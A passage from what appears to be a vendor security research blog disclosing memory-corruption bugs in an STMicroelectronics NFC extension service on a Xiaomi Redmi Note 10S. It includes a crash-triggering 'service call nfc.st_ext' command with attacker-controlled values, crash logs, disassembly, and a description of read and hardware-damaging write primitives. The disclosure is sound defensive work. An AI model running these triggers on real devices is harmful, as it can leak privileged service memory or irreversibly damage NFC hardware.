01-31 15:19:49.359 581 29290 D StNfcHal: (#014FB) Tx 21 03 0d 06 00 01 01 01 02 01 80 01 81 01 06 01
01-31 15:19:49.360 581 29291 D StNfcHal: (#014FC) Rx 41 03 01 00
01-31 15:19:49.363 29259 3409 D StNativeNfcTag: Tag lost, restarting polling loop
01-31 15:19:49.363 29259 3409 E libnfc_nci: [ERROR:StNativeNfcTag.cpp(1225)] nativeNfcTag_doDisconnect: tag already deactivated
01-31 15:19:49.363 29259 3409 D NfcService: Not updating discovery parameters, tag connected.
01-31 15:19:49.364 29259 3409 D StNativeNfcTag: Stopping background presence check
01-31 15:19:49.384 581 29291 D StNfcHal: (#014FD) Rx 61 05 1a 01 02 04 00 ff 00 0a 04 00 04 08 a5 04 2c 01 20 00 00 00 00 05 04 78 80 70 02
01-31 15:19:49.385 581 581 D StNfcHal: HAL st21nfc: StNfc_hal_write

 

Several service calls were vulnerable to memory corruption issues. These service calls can be executed by any application installed on a victim’s device as there is no privilege check on the Xiaomi Redmi 10S Note device. Therefore, the issue might be used to execute a code in the nfc.st_ext service context or in order to read the NFC service memory.

Before communicating with the STMicroelectronics, I was sure that I was reversing the proprietary code. Therefore, the initial analysis was based only on reverse-engineering and pseudocode.

The below command has been executed as an ADB shell user. The values 4702394925722257289 and 4774451407313060418 represent the hex values: 0x4142434545464789 and 0x4242424242424242.

rosemary:/ $ service call nfc.st_ext 9 i64 4702394925722257289 i64 4774451407313060418

Result: Parcel(Error: 0xffffffffffffffe0 "Broken pipe")

Results from the ADB Logcat output after the command execution. The registers x19 and x20 are controlled by the attacker. The x8 register value proves the crash location shown in the next listing. The crash has occurred on a memory address 0x7c329d9f64 (x8 + 0x8a7):

10-05 19:53:01.216 21411 21411 E DEBUG : failed to read /proc/uptime: Permission denied
10-05 19:53:01.473 21411 21411 F DEBUG : *** *** *** *** *** *** *** *** *** *** *** *** *** *** *** ***
10-05 19:53:01.473 21411 21411 F DEBUG : Build fingerprint: 'Redmi/rosemary_eea/rosemary:12/SP1A.210812.016/V13.0.3.0.SKLEUOR:user/release-keys'
10-05 19:53:01.473 21411 21411 F DEBUG : Revision: '0'
10-05 19:53:01.473 21411 21411 F DEBUG : ABI: 'arm64'
10-05 19:53:01.473 21411 21411 F DEBUG : Timestamp: 2022-10-05 19:53:01.214973507+0200
10-05 19:53:01.473 21411 21411 F DEBUG : Process uptime: 0s
10-05 19:53:01.473 21411 21411 F DEBUG : Cmdline: com.android.nfc
10-05 19:53:01.473 21411 21411 F DEBUG : pid: 21109, tid: 21124, name: Binder:21109_2 >>> com.android.nfc <<<
10-05 19:53:01.473 21411 21411 F DEBUG : uid: 1027
10-05 19:53:01.473 21411 21411 F DEBUG : signal 11 (SIGSEGV), code 2 (SEGV_ACCERR), fault addr 0x7c329d9f64
10-05 19:53:01.473 21411 21411 F DEBUG : x0 0000007bf15b5690 x1 0000000000000000 x2 0000000000000000 x3 0000000000000000
10-05 19:53:01.473 21411 21411 F DEBUG : x4 0000000000000000 x5 00000000ffffffff x6 00000000ffffffff x7 0000000000018900
10-05 19:53:01.473 21411 21411 F DEBUG : x8 0000007c329d96bd x9 8d9fd1788a2fdf29 x10 0000000000000000 x11 0000000000000000
10-05 19:53:01.474 21411 21411 F DEBUG : x12 000000000003ea1c x13 000000000003ea1a x14 0000000000000028 x15 0000000000000027
10-05 19:53:01.474 21411 21411 F DEBUG : x16 0000007c90f4ec40 x17 0000007c90f3e930 x18 0000007b83940000x19 0000000042424242
10-05 19:53:01.474 21411 21411 F DEBUG : x20 0000000041424345 x21 0000007bf15b5378 x22 0000007bf15b5690 x23 0000000000000000
10-05 19:53:01.474 21411 21411 F DEBUG : x24 0000007bf15b6f70 x25 0000007bf19f4000 x26 0000007bf19f3078 x27 0000007bf19f3058
10-05 19:53:01.474 21411 21411 F DEBUG : x28 0000007bf19f30a0 x29 0000007bf19f2d90
10-05 19:53:01.474 21411 21411 F DEBUG : lr 0000007bf156f8a0 sp 0000007bf19f2c40 pc 0000007bf156f8ac pst 0000000060001000
10-05 19:53:01.474 21411 21411 F DEBUG : backtrace:
10-05 19:53:01.474 21411 21411 F DEBUG : #00 pc 000000000002f8ac /system/system_ext/lib64/libstnfc_nci_jni.so (NfcStExtensions::getProprietaryConfigSettings(int, int, int)+444) (BuildId: a48e883d65c1a11933117a7a98a39720)
10-05 19:53:01.474 21411 21411 F DEBUG : #01 pc 0000000000023ec8 /system/system_ext/lib64/libstnfc_nci_jni.so (android::nativeNfcStExtensions_getProprietaryConfigSettings(_JNIEnv*, _jobject*, int, int, int)+216) (BuildId: a48e883d65c1a11933117a7a98a39720)
10-05 19:53:01.474 21411 21411 F DEBUG : #02 pc 00000000000172c4 /data/dalvik-cache/arm64/system@system_ext@app@Nfc_st@Nfc_st.apk@classes.dex (art_jni_trampoline+116)

 

In a part of the NfcStExtensions::getProprietaryConfigSettings function disassembly below, we see that the value of the x8 register equals 0x7bf15b5378 + 0x41424345 (0x7c329d96bd) which proves the ability to manipulate a destination address by a malicious application: 

0012f894 a0 a2 0b 91 add x0,x21,#0x2e8
0012f898 e1 03 16 aa mov x1,x22
0012f89c 3d 01 01 94 bl _ZN7CondVar4waitER5Mutex
0012f8a0 a8 c2 34 8b add x8,x21,w20, SXTW ; < ======= (#1)
0012f8a4 bf fa 26 39 strb wzr,[x21, #0x9be]
0012f8a8 e0 03 16 aa mov x0,x22
0012f8ac 14 9d 62 39 ldrb w20,[x8, #0x8a7] ; < ======= (#2)
0012f8b0 48 01 01 94 bl _ZN5Mutex6unlockEv
0012f8b4 28 17 40 f9 ldr x8,[x25, #0x28]
0012f8b8 a9 83 5f f8 ldur x9,[x29, #local_58]

 

Later, I found that C++ code, in the deepest depths of GitHub. The screenshot below shows a fragment of the open-source package called “android-packages-apps-Nfc”.

The two int values are taken as arguments at line 2229. At line 2257 the value byteNb is used as an index for the stack array mPropConfig.config. The second value bitNb is used to define which bit of the chosen array element an attacker wants to read. This is the perfect stack reading primitive.

 

Hunting-for-Android-Privilege-6Figure 6: NfcStExtensions::getProprietaryConfigSettings vulnerability

https://github.com/STMicroelectronics/ST54-android-packages-apps-Nfc/blob/android-13/st/jni/NfcStExtensions.cpp

 

In our real-life experience with the Xiaomi Redmi Note 10S, the second (write) primitive that could give us a code execution is unfortunately located inside a function that can physically and irreversibly damage the NFC chip. I experienced a hardware fault when executing the function NfcStExtensions::setProprietaryConfigSettings. The first time was during testing and the second time occurred when writing a PoC exploit. After two devices were damaged, I decided to write a read only APK PoC.

After executing the NfcStExtensions::setProprietaryConfigSettings call, the NFC interface GUI became unavailable, and I couldn’t turn it off and use the NFC. The software-to-hardware killer call was later confirmed by STMicroelectronics, which is a pretty devastating scenario.

The function NfcStExtensions::setProprietaryConfigSettings is also prone to an array out of bound attack, rather than reading, it allows writing a bit into the chosen index of an array.

 

Hunting-for-Android-Privilege-7Figure 7: NfcStExtensions::setProprietaryConfigSettings vulnerability

https://github.com/STMicroelectronics/ST54-android-packages-apps-Nfc/blob/android-13/st/jni/NfcStExtensions.cpp

 

I reported seven memory-corruption issues in total in the “ST54-android-packages-apps-Nfc” library, all of them are briefly documented in the advisory TWSL2023-007.

 

Conclusions

 

From my testing, it would appear the system service layer was not properly tested and secured in the Android OS versions modified by vendors, and while I have detailed several issues here, there is still more research that needs to be conducted.

Some two or three-year-old devices will never get new updates due to the complexity of the software and hardware installed on the smartphones and the policies of manufacturers.

Smartphones are generally constructed using components supplied by a variety of vendors and connected using a custom OEM Framework API. This methodology creates problems when it comes to implementing and maintaining updates, backward compatibility, and security.

The price of each tested device has no significant meaning here, although, the approach for handling the submitted vulnerabilities by each vendor was quite different. Especially noticeable are problems some manufacturers have with integrating their Android OS with the third-party hardware vendors.

On the other hand, the third-party vendors shouldn’t provide unvetted demo/PoC software that may have vulnerabilities to their clients. Another concerning point is that one vendor did not properly implement a sandbox for the sensitive OS component.

Finally, if I asked myself - how safe are my Secure Elements or Virtual Wallets on my smartphone? I’d say it generally depends on the device, but after testing my own, I’d say they’re not safe at all.

Reference:

TWSL2023-007Vulnerabilities in Xiaomi Redmi Note 10S and ST54-android-packages-apps-NFC library

ABOUT TRUSTWAVE

Trustwave is a globally recognized cybersecurity leader that reduces cyber risk and fortifies organizations against disruptive and damaging cyber threats. Our comprehensive offensive and defensive cybersecurity portfolio detects what others cannot, responds with greater speed and effectiveness, optimizes client investment, and improves security resilience. Learn more about us.

Latest Intelligence

Discover how our specialists can tailor a security program to fit the needs of
your organization.

Request a Demo